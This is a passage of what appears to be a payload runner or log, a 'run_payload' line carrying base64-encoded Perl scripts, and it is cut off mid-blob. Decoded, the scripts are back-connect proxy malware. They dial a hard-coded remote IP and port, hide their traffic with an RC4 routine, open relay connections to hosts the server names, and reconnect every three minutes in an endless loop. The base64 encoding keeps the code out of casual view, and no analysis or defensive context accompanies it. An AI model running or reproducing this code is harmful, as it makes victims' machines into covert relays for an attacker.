sNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_60.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMjAyJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ